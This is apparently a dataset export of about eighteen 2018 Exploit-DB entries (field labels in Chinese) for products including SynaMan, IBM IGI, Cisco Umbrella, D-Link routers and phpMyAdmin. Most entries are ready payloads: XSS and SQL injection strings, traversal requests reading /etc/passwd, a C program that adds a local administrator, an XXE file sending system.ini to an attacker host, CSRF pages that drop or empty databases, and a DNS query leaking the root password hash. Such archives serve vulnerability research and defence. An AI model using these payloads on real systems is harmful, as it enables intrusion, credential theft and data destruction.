QLWD/code_shield huggingface dataset:
标题: SynaMan 4.0 build 1488 - SMTP Credential Disclosure EDB-ID: 45387 CVE: 2018-10814 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-09-12 漏洞利用脚本: # Exploit Author: bzyo
# CVE: CVE-2018-10814
# Twitter: @bzyo_
# Exploit Title: SynaMan 4.0 - Cleartext password SMTP settings
# Date: 09-12-18
# Vulnerable Software: SynaMan 4.0 build 1488
# Vendor Homepage: http://web.synametrics.com/SynaMan.htm
# Version: 4.0 build 1488
# Software Link: http://web.synametrics.com/SynaManDownload.htm
# Tested On: Windows 7 x86
  
Description
-----------------------------------------------------------------
SynaMan 4.0 suffers from cleartext password storage for SMTP settings which would allow email account compromise

Prerequisites
-----------------------------------------------------------------
Access to a system running Synaman 4 using a low-privileged user account
 
Proof of Concept
-----------------------------------------------------------------
The password for the smtp email account is stored in plaintext in the AppConfig.xml configuration file.  This file can be viewed by any local user of the system.

C:\SynaMan\config>type AppConfig.xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
        <parameters>
                <parameter name="hasLoggedInOnce" type="4" value="true"></parameter>
                <parameter name="adminEmail" type="1" value="test@gmail.com"></parameter>
                <parameter name="smtpSecurity" type="1" value="None"></parameter>
    **truncated**
                <parameter name="smtpPassword" type="1" value="SuperSecret!"></parameter>
                <parameter name="ntServiceCommand" type="1" value="net start SynaMan"></parameter>
                <parameter name="mimicHtmlFiles" type="4" value="false"></parameter>
        </parameters>
</Configuration>


 
Timeline
---------------------------------------------------------------------
05-07-18: Vendor notified of vulnerabilities
05-08-18: Vendor responded and will fix 
07-25-18: Vendor fixed in new release
09-12-18: Submitted public disclosure URL: https://www.exploit-db.com/exploits/45387
标题: MyBB 1.8.17 - Cross-Site Scripting EDB-ID: 45393 CVE: 2018-15596 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-12 漏洞利用脚本: # Exploit Title: MyBB 1.8.17 - Cross-Site Scripting
# Date: 2018-08-11
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://mybb.com/download/
# Version: 1.8.17
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15596

# 1. Description:
# On the forum RSS Syndication page you can generate a URL for example... 
# http://localhost/syndication.php?fid=&type=atom1.0&limit=15, the thread titles on 
# those generated links aren't sanitized. 
 
# 2. Proof of Concept:

- Make or find a thread of yours on the RSS feed
- Use this payload as the thread title  <a href="//google.com">Cool Thread Title</a>
- View RSS feed with your thread again but with the generated URL and click on your thread
- When the thread is clicked you will be redirected to google.com URL: https://www.exploit-db.com/exploits/45393
标题: Apple macOS 10.13.4 - Denial of Service (PoC) EDB-ID: 45391 CVE: 2018-4240 类型: DOS 平台: MACOS 发布日期: 2018-09-12 漏洞利用脚本: # Exploit Title: Apple MacOS 10.13.4 - Denial of Service (PoC)
# Date: 2018-09-10
# Exploit Author: Sriram (@Sri_Hxor)
# Vendor Homepage: https://support.apple.com/en-in/HT208848
# Tested on: macOS High Sierra 10.13.4, iOS 11.3, tvOS 11.3, watchOS 4.3.0
# CVE : CVE-2018-4240 (2018)
# POC : https://medium.com/@thesriram/cold-war-between-single-message-vs-mbbs-d5e004d64eaf

# Crashing Phone via RLM character. 
# Steps to Reproduce, 

# Run the below python script as "python apple.py", it will create a file called "dos_apple.txt"
# Copy the text from the generated apple.txt
# Paste it in WhatsApp and send it, victim gotta click and it will start crashing

end = "&#8238;ereh-hcuot-t'nod"
dos = "&lrm;&rlm;"
payload = dos*1000 + end
try:
    f=open("dos_apple.txt","w")
    print "[+] Creating %s DOS payload for apple..." % ((len(payload)-len(end))/len(dos))
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "Can't create a file, check DIR permissions?" URL: https://www.exploit-db.com/exploits/45391
标题: IBM Identity Governance and Intelligence 5.2.3.2 / 5.2.4 - SQL Injection EDB-ID: 45392 CVE: 2018-1756 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-12 漏洞利用脚本: # Exploit Title: [Unauthenticated Remote SQLi]
# Date: [11/09/2018]
# Exploit Author: [Mohamed Sayed - From SecureMisr Company]
# Vendor Homepage: [https://www-01.ibm.com/support/docview.wss?uid=ibm10728883]
# Version: [IGI 5.2.3.2] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [CVE-2018-1756]

Hello ,
IBM IGI version 5.2.3.2 is suffering from unauthenticated remote SQLi
The vulnerability enable *remote unauthenticated* attacker to take over the
server database and affect the confidentiality , integrity and availability
of the system ,

The vulnerability is in the survey end point API
/survey/api/config?userId=XXX

The userId parameter value is injected directly to a sql query without
sensitization nor validation and by exploiting it the attacker will be able
to gain access on the server database

SAMPLE of Vulnerable HTTP Request

GET /survey/api/config?userId=VUL HTTP/1.1
Host: HOST_IP
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
Accept: */*
Referer: https://HOST_IP
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Payload sample :
userId=1 'AND 1=1 AND '2'='2 URL: https://www.exploit-db.com/exploits/45392
标题: SynaMan 4.0 build 1488 - (Authenticated) Cross-Site Scripting EDB-ID: 45386 CVE: 2018-10763 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-09-12 漏洞利用脚本: # Exploit Author: bzyo
# CVE: CVE-2018-10763
# Twitter: @bzyo_
# Exploit Title: SynaMan 4.0 - Authenticated Cross Site Scripting (XSS)
# Date: 09-12-18
# Vulnerable Software: SynaMan 4.0 build 1488
# Vendor Homepage: http://web.synametrics.com/SynaMan.htm
# Version: 4.0 build 1488
# Software Link: http://web.synametrics.com/SynaManDownload.htm
# Tested On: Windows 7 x86
  
Description
-----------------------------------------------------------------
SynaMan 4.0 suffers from Authenticated Cross Site Scripting (XSS)


Prerequisites
-----------------------------------------------------------------
Admin access to Synaman web console
 
Proof of Concept
-----------------------------------------------------------------
From Configuration > Advanced Configuration > Partial Branding
- Main heading
- Sub heading

If one were to apply the following XSS payload in either of the fields, alert pop-ups with xss would be present on navigation throughout the web app

<script>alert("xss");</script>

While Chrome does block the XSS payload on apply, simply hitting the back button and selecting "Explore" the payload is stored

 
Timeline
---------------------------------------------------------------------
05-07-18: Vendor notified of vulnerabilities
05-08-18: Vendor responded and will fix 
07-25-18: Vendor fixed in new release
09-12-18: Submitted public disclosure URL: https://www.exploit-db.com/exploits/45386
标题: Rubedo CMS 3.4.0 - Directory Traversal EDB-ID: 45385 CVE: 2018-16836 类型: WEBAPPS 平台: LINUX 发布日期: 2018-09-12 漏洞利用脚本: # Exploit Title: Rubedo CMS 3.4.0 - Directory Traversal
# Google Dork: intext:rubedo.current.page.description
# Date: 2018-09-11
# Exploit Author: Marouene Boubakri
# Vendor Homepage: https://www.rubedo-project.org
# Version: through 3.4.0
# Tested on: Linux
# CVE : CVE-2018-16836

# PoC:
# Read /etc/passwd file from remote server

/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd' URL: https://www.exploit-db.com/exploits/45385
标题: QNAP Photo Station 5.7.0 - Cross-Site Scripting EDB-ID: 45348 CVE: 2018-0715 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-09-07 漏洞利用脚本: # Exploit Title: QNAP Photo Station 5.7.0 - Cross-Site Scripting
# Google Dork: N/A
# Date: 2018-09-07
# Exploit Author: Mitsuaki (Mitch) Shiraishi - secureworks
# Vendor Homepage: https://www.qnap.com/ja-jp/security-advisory/nas-201808-23
# Software Link: N/A
# Version: QNAP Photo Station versions 5.7.0 and earlier
# Tested on: N/A
# CVE : CVE-2018-0715

# PoC: 

https://***.***.***.***:8080/photo/abc/<img%20src%3Da.jpg%20onerror%3D%22alert(1)%22>.txt URL: https://www.exploit-db.com/exploits/45348
标题: Tenda ADSL Router D152 - Cross-Site Scripting EDB-ID: 45336 CVE: 2018-14497 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-09-05 漏洞利用脚本: # Exploit Title: Tenda D152 ADSL Router - Cross-Site Scripting
# Exploit Author: Sandip Dey
# Date: 2018-07-21
# Vendor Homepage:  http://www.tendacn.com
# Hardware Link: https://www.amazon.in/Tenda-D152-ADSL2-Modem-Router/dp/B00IM8CWTE/ref=sr_1_fkmr0_1?ie=UTF8&qid=1536170904&sr=8-1-fkmr0&keywords=Tenda+D152+ADSL+router
# Category: Hardware
# Tested on: Windows 8.1
# CVE: CVE-2018-14497
  
# Reproduction Steps:
  
Goto your Wifi Router Gateway [i.e: http://Target]
Go to --> "General Setup" --> "Wireless" --> "Basic Settings
Now change the SSID to <script>alert("Sandip")</script> and hit apply
Refresh the page, and you will get the "Sandip" pop-up URL: https://www.exploit-db.com/exploits/45336
标题: Jorani Leave Management 0.6.5 - Cross-Site Scripting EDB-ID: 45338 CVE: 2018-15917 类型: WEBAPPS 平台: PHP 发布日期: 2018-09-06 漏洞利用脚本: # Exploit Title: Jorani Leave Management System 0.6.5 – Cross-Site Scripting
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-09-06
# Google Dork: N/A
# Vendor: Benjamin BALET
# Software Link: https://jorani.org/download.html
# Affected Version: 0.6.5 and possibly before
# Patched Version: unpatched
# Category: Web Application
# Platform: Windows
# Tested on: Win10x64 & Kali Linux
# CVE: 2018-15917
  
# 1. Technical Description:
# Language parameter is vulnerable to Persistent Cross-Site Scripting (XSS) attacks through
# a GET request in which the values are stored in the user session.
  
# 2. Proof Of Concept (PoC):
# Go to http://localhost/session/language?last_page=session%2Flogin&language=en%22%3E%3Cscript%3Ealert(%27PoC%20CVE-2018-15917%27)%3C%2Fscript%3E&login=&CipheredValue=
 
# 3. Payload:
# en"><script>alert('PoC CVE-2018-15917')</script>

# 6. Reference:
# https://hackpuntes.com/cve-2018-15917-jorani-leave-management-system-0-6-5-cross-site-scripting-persistente/
# https://github.com/bbalet/jorani/issues/254 URL: https://www.exploit-db.com/exploits/45338
标题: Cisco Umbrella Roaming Client 2.0.168 - Local Privilege Escalation EDB-ID: 45339 CVE: 2018-0438 2018-0437 类型: LOCAL 平台: WINDOWS_X86-64 发布日期: 2018-09-06 漏洞利用脚本: /*
# Exploit Title: Cisco Umbrella Roaming Client 2.0.168 - Privilege Escalation
# Date: 2018-04-06
# Exploit Author: paragonsec @ Critical Start
# Vendor Homepage: https://www.opendns.com/
# Version: Umbrella Roaming Client (2.0.168)
# Tested on: Windows 10 Professional
# CVE : CVE-2018-0437 & CVE-2018-0438
# Cisco Bug: CSCvj61300
# Advisory Links:
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-priv
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180905-umbrella-file-read
# https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvj61300

OpenDNS Umbrella Roaming Client (2.0.168) Binary Planting Privilege Escalation Exploit

Details:
Compile the following code and rename it to either netsh.exe or cmd.exe
and place the file in the "C:\ProgramData\OpenDNS\ERC\" directory. Restart the machine!
 
Affected Binary paths:
C:\ProgramData\OpenDNS\ERC\cmd.exe
C:\ProgramData\OpenDNS\ERC\netsh.exe

More Details:
Create malicious MSI file named RoamingClient_WIN_2.0.168.msi and place in
"C:\ProgramData\OpenDNS\ERC\Upgrades\" and restart the machine.

Tools Used:
ìAdvanced Installer 14.8" - Used to create the MSI
 
Code:
*/
 
#include <stdlib.h>
#include <stdio.h>
 
int main()
{
    system("net user pwnage pwnage /add");
    system("net localgroup administrators pwnage /add");
 
    FILE * fp;
    int i;
    /* open the file for writing*/
    fp = fopen ("c:\\opendns_pwnage.txt","w");
 
    fprintf (fp, "OpenDNS has been Pwned... New user has been created as an admin!\nBrought to you by paragonsec @criticalstart");
 
    /* close the file*/  
    fclose (fp);
    return 0;
} URL: https://www.exploit-db.com/exploits/45339
标题: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal EDB-ID: 45342 CVE: 2018-16059 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-09-06 漏洞利用脚本: # Exploit Title: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal
# Date: 2018-08-29
# Exploit Author: Hamit CİBO
# Vendor Homepage: http://endress.com
# Software Link: https://www.endress.com/en/Field-instruments-overview/System-Components-Recorder-Data-Manager/wirelesshart-gateway-fieldgate-swg70
# Version: SWG70 3.X
# Tested on: Windows
# CVE :

# PoC
# Request

POST /fcgi-bin/wgsetcgi HTTP/1.1
Content-Length: 129
Content-Type: application/x-www-form-urlencoded
Referer: {Target}
Cookie: ********
Host: {Target}
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.21(KHTML,like Gecko)Chrome/41.0.2228.0 Safari/537.21
Accept: */*

action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand

# Response

HTTP/1.1 200 OK
Date: Fri, 13 Mar 1970 17:13:58 GMT
Server: Apache
Cache-Control: no-cache
Keep-Alive : timeout=15,max=100
Connection : Keep-Alive
Content-Type : text/plain
Content-Length : 333

root:x:0:0:root:/root:/bin/sh
ftp:x:11:101:ftp user:/home:/bin/false
www:x:12:102:www user:/home:/bin/false
sshd:x:13:100:SSH Server:/var/run/sshd:/bin/false
service:x:500:100:Service User:/home:/bin/sh URL: https://www.exploit-db.com/exploits/45342
标题: D-Link DIR-615 - Denial of Service (PoC) EDB-ID: 45317 CVE: 2018-15839 类型: DOS 平台: HARDWARE 发布日期: 2018-09-03 漏洞利用脚本: # Exploit Title: D-Link DIR-615 - Denial of Service (PoC)
# Date: 2018-08-09
# Vendor Homepage: http://www.dlink.co.in
# Hardware Link:  https://www.amazon.in/D-Link-DIR-615-Wireless-N300-Router-Black/dp/B0085IATT6
# Version: D-Link DIR-615
# Category: Hardware
# Exploit Author:  Aniket Dinda
# Tested on: Linux (kali linux)
# Web: https://hackingvila.wordpress.com/2018/08/24/d-link-dir-615-buffer-overflow-via-a-long-authorization-http-header-click-here/
# Cve: CVE-2018-15839

# Proof Of Concept:

1- First connect to this network
2- Open BurpSuite and then start the intercept, making the necessary proxy changes to the internet browser.
3- Goto Easy setup > 
4- Now as the Burp is intercept is on, you will find an Authorization: Basic or cookie: SessionId followed by a string. Now we paste a string consisting oaf 5000 zeros.
5- Then forward the connection
6- Then your router automatically log out and the net connection will be gone. URL: https://www.exploit-db.com/exploits/45317
标题: FsPro Labs Event Log Explorer v4.6.1.2115 - XML External Entity Injection EDB-ID: 45319 CVE: 2018-16252 类型: WEBAPPS 平台: WINDOWS 发布日期: 2018-09-03 漏洞利用脚本: # Title: FsPro Labs Event Log Explorer v4.6.1.2115 - XML External Entity Injection
# Author: hyp3rlinx
# Date: 2018-09-01
# Vendor: www.eventlogxp.com
# Software: https://eventlogxp.com/download.php
# Affected Component: elex.exe
# CVE: N/A

# Description:
# Upon opening a specially crafted .ELX file in Event Log Explorer, remote attackers 
# can potentially gain access to local files.

# PoC
python -m SimpleHTTPServer
 
"test.elx"

<?xml version="1.0"?>
<!DOCTYPE gga [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://HACKER-IP:8000/payload.dtd">
%dtd;]>
<infodisclosa>&send;</infodisclosa> URL: https://www.exploit-db.com/exploits/45319
标题: Cybrotech CyBroHttpServer 1.0.3 - Cross-Site Scripting EDB-ID: 45309 CVE: 2018-16134 类型: WEBAPPS 平台: WINDOWS_X86-64 发布日期: 2018-08-30 漏洞利用脚本: # Exploit Title: Cybrotech CyBroHttpServer 1.0.3 - Cross-Site Scripting
# Date: 2018-08-29
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: http://www.cybrotech.com/
# Software Link: http://www.cybrotech.com/wp-content/uploads/2016/11/CyBroHttpServer-v1.0.3.zip
# Version: v1.0.3
# Tested on: Windows 7 - 64-bit 
# CVE-2018-16134

# PoC
http://<host>/<script>alert('xss');</script>

GET <script>alert('xss');</script> HTTP/1.1
Host: 192.168.43.102:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:61.0) Gecko/20100101
Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1 URL: https://www.exploit-db.com/exploits/45309
标题: DamiCMS 6.0.0 - Cross-Site Request Forgery (Change Admin Password) EDB-ID: 45314 CVE: 2018-15844 类型: WEBAPPS 平台: PHP 发布日期: 2018-08-31 漏洞利用脚本: # Exploit Title: DamiCMS 6.0.0 - Cross-Site Request Forgery (Change Admin Password)
# Author: Autism_JH
# Date: 2018-08-30
# Vendor Homepage: https://github.com/731276192/damicms
# Software Link: https://github.com/731276192/damicms
# Version: 6.0.0
# CVE: CVE-2018-15844

# Description:
# DamiCMS v6.0.0 allows CSRF to change the administrator account's pssword.
# After the administrator login in,open the poc,the administrator account's 
# password will been changed to 123123

# POC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
 <body>
  <script>history.pushState('', '', '/')</script>
  <form action="http://Target/dami/admin.php?s=/Admin/doedit" method="POST">
   <input type="hidden" name="username" value="admin" />
   <input type="hidden" name="password" value="123123" />
   <input type="hidden" name="role&#95;id" value="1" />
   <input type="hidden" name="id" value="1" />
   <input type="hidden" name="Submit" value="ç&#161;&#174;å&#174;&#154;ä&#191;&#174;æ&#148;&#185;" />
   <input type="submit" value="Submit request" />
  </form>
 </body>
</html> URL: https://www.exploit-db.com/exploits/45314
标题: DLink DIR-601 - Credential Disclosure EDB-ID: 45306 CVE: 2018-12710 类型: WEBAPPS 平台: HARDWARE 发布日期: 2018-08-30 漏洞利用脚本: # Exploit Title: DLink DIR-601 - Credential Disclosure
# Google Dork: N/A
# Date: 2018-06-24
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.dlink.com
# Software Link: N/A
# Version: Firmware: 2.02NA Hardware Version B1
# Tested on: Windows 10 + Mozilla Firefox
# CVE : CVE-2018-12710
 
# 1. Description
# Being local to the network and having only "User" account (which is a low privilege account)
# access, an attacker can intercept the response from a POST request to obtain "Admin"
# rights due to the admin password being displayed in XML.

# 2. Proof of Concept
# Tools to use:
# - BurpSuite
# - Browser of your choice

# 3: Login with "User" role account:
*My "User" role account does not have a password in this example*
POST /my_cgi.cgi?0.4008728147399542 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-AU,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/login_real.htm
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
DNT: 1
Connection: close

request=login&user_user_name=dXNlcg==&user_user_pwd=&user_type=1

# 4: When logged into the access point, click on the Tools option

# 5: You should see a request similar to the following:

POST /my_cgi.cgi?0.9277791631615954 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-AU,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/tools_admin.htm
Content-Type: application/x-www-form-urlencoded
Content-Length: 277
DNT: 1
Connection: close

request=load_settings&table_name=admin_user&table_name=user_user&table_name=graph_auth&table_name=remote_management&table_name=system&table_name=virtual_server&table_name=port_forwarding&table_name=application_rules&table_name=inbound_filter&table_name=fw_ver&table_name=hw_ver

# 6: Right click on this request and choose "Do Intercept response from this request"

# 7: You will see a response similar to the following:

HTTP/1.1 200 OK
Content-type: text/xml
Connection: close
Date: Sat, 01 Jan 2011 00:19:56 GMT
Server: lighttpd/1.4.28
Content-Length: 20088

<?xml version="1.0" encoding="UTF-8"?><root><login_level>0</login_level><admin_user><admin_user_name>admin</admin_user_name>
<admin_user_pwd>testagain</admin_user_pwd><admin_level>1</admin_level></admin_user><user_user><user_user_name>user</user_user_name>
<user_user_pwd></user_user_pwd><user_level>0 ... URL: https://www.exploit-db.com/exploits/45306
标题: Cybrotech CyBroHttpServer 1.0.3 - Directory Traversal EDB-ID: 45303 CVE: 2018-16133 类型: WEBAPPS 平台: WINDOWS_X86-64 发布日期: 2018-08-30 漏洞利用脚本: # Exploit Title: Cybrotech CyBroHttpServer 1.0.3 - Directory Traversal
# Date: 2018-08-29
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: http://www.cybrotech.com/
# Software Link: http://www.cybrotech.com/wp-content/uploads/2016/11/CyBroHttpServer-v1.0.3.zip
# Version: v1.0.3
# Tested on: Windows
# CVE: CVE-2018-16133

# PoC
https://<host>\..\..\..\..\Windows\win.ini

# CVE-2018-16133
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16133
https://github.com/EmreOvunc/CyBroHttpServer-v1.0.3-Directory-Traversal
https://emreovunc.com/blog/en/CyBroHttpServer-v.1.0.3-Directory-Traversal-3.png

GET \..\..\..\..\Windows\win.ini HTTP/1.1
Host: 192.168.43.102:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:61.0) Gecko/20100101
Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1 URL: https://www.exploit-db.com/exploits/45303
标题: phpMyAdmin 4.7.x - Cross-Site Request Forgery EDB-ID: 45284 CVE: 2017-1000499 类型: WEBAPPS 平台: PHP 发布日期: 2018-08-29 漏洞利用脚本: # Exploit Title: phpMyAdmin 4.7.x - Cross-Site Request Forgery
# Date: 2018-08-28
# Exploit Author: VulnSpy
# Vendor Homepage: https://www.phpmyadmin.net/
# Software Link: https://www.phpmyadmin.net/downloads/
# Version: Versions 4.7.x (prior to 4.7.7)
# Tested on: php7 mysql5
# CVE: CVE-2017-1000499 -- Original Exploit Author: Ashutosh Barot 

# Original Exploit Author: Ashutosh Barot ( www.twitter.com/ashu_barot)
# If victim DB Admin has active session with PhPMyAdmin < 4.7.7, Hitting this URL will result into DROP_TABLE, 

https://example.com/phpMyAdmin/sql.php?db=DATABASE_NAME&goto=db_structure.php&table=wp_users&reload=1&purge=1&sql_query=DROP+TABLE+%60wp_users%60&message_to_show=Table+wp_users+has+been+dropped

# Exploit CSRF - Modifying the password of current user

<p>Hello World</p>
<img src="
http://server/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />

# Exploit CSRF - Arbitrary File Write

<p>Hello World</p>
<img src="
http://server/sql.php?db=mysql&table=user&sql_query=select
'<?php phpinfo();?>' into outfile '/var/www/html/test.php';"
style="display:none;" />

# Exploit CSRF - Data Retrieval over DNS

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE
user='root' LIMIT 1),'.vulnspy.com\\test'));

# Exploit CSRF - Empty All Rows From All Tables

<p>Hello World</p>
<img src="
http://server/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A"
style="display:none;" /> URL: https://www.exploit-db.com/exploits/45284